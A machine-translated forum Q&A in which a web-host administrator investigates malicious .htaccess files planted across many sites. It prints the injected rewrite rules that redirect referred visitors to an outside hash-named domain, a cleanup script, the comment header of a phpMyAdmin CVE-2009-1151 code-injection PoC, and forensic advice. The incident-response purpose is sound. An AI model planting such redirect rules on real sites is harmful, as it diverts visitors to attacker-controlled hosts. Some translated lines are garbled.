Поиск уязвимости веб-сервера
Мы работаем на ферме веб-серверов, на которой размещено около 300 сайтов.
Вчера утром скрипт поместил файлы.htaccess, принадлежащие www-data (пользователю apache), в каждую директорию под document_root большинства (но не всех) сайтов.
Содержимое файла.htaccess было таким:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}
Поиск в Google по этому URL-адресу (который является хэш-версией md5 "антивируса") Я обнаружил, что это происходит по всему Интернету, и ищу человека, который уже имел дело с этим, и определил, где находится уязвимость.
Я просмотрел большинство наших журналов, но пока не нашел ничего убедительного. Есть ли другие, кто испытал то же самое, что продвинулось дальше, чем я, точно определив дыру?
Итак, мы определили:
- изменения были сделаны как www-data, так что виновником может быть apache или его плагины
- все изменения были сделаны в течение 15 минут друг от друга, поэтому, вероятно, это было автоматизировано
- Поскольку у наших веб-сайтов широко варьируются доменные имена, я думаю, что за один сайт была ответственна одна уязвимость (а не общая уязвимость на каждом сайте)
- если файл.htaccess уже существует и доступен для записи с помощью www-data, то сценарий был добрым и просто добавлял приведенные выше строки в конец файла (что облегчало обращение к нему)
Любые дополнительные советы будут оценены.
== Редактирование ==
Для тех, кому это нужно, вот скрипт, который я использовал для очистки файлов.htaccess:
#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
if ( grep $PATT "$FILE" > /dev/null); then
if [ `cat "$FILE"|wc -l` -eq 4 ]; then
rm "$FILE"
else
if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
rm $TMP
cp "$FILE" $TMP
LINES=`cat $TMP|wc -l`
GOODLINES=$(($LINES-4))
head -n $GOODLINES $TMP > "$FILE"
else
echo $FILE requires manual intervention
fi
fi
fi
done
2 ответа
Там есть эксплойт phpMyAdmin
#! / Bin / Баш
# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' Инъекция PHP-кода RCE PoC v0.11
# pagvac (gnucitizen.org), 4 июня 2009 г.
# особая благодарность Грегу Осе (labs.neohapsis.com) за то, что он открыл для себя такую классную вульну,
# и str0ke (milw0rm.com) для тестирования этого PoC-скрипта и обратной связи!# PoC скрипт успешно протестирован по следующим целям:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 и 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU / Linux (Ubuntu 8.04.2)# требования к атаке:
# 1) уязвимая версия (очевидно!): 2.11.x до 2.11.9.5
# и 3.x до 3.1.3.1 в соответствии с PMASA-2009-3
# 2) кажется, что эта вульва может быть использована только против окружающей среды
# где администратор выбрал для установки phpMyAdmin следующее
# метод мастера, а не ручной метод: http://snipurl.com/jhjxx
# 3) администратор НЕ должен удалить каталог '/config/'
# в каталоге '/phpMyAdmin/'. это потому, что этот каталог
# где '/scripts/setup.php' пытается создать 'config.inc.php', где
# наш злой код PHP вводится 8)# больше информации о:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/
Поскольку атака, по-видимому, прошла через Apache, я бы сделал следующие две вещи:
- Пролистайте все журналы доступа в поисках ".htaccess", то есть что-то вроде
grep -rn '\.htaccess' /var/log/httpd/*access*
- Найдите в домашнем каталоге apache / httpd / what users файл истории, часто "/ var / www" или что-то подобное.
Сначала будет указано, был ли сам веб-пользователь скомпрометирован или злоумышленник использовал произвольное выполнение команды. Это также может дать (потенциальный) полный отчет о том, что сделал злоумышленник. Как бы глупо это не звучало, большинство таких хаков редко убирают за собой и оставляют такие доказательства позади.
И, конечно же, если в вашей организации есть группа, которая проводит реагирование на инциденты безопасности или проводит судебно-медицинскую экспертизу, может быть, стоит передать им оборудование, прежде чем вы начнете свой собственный анализ.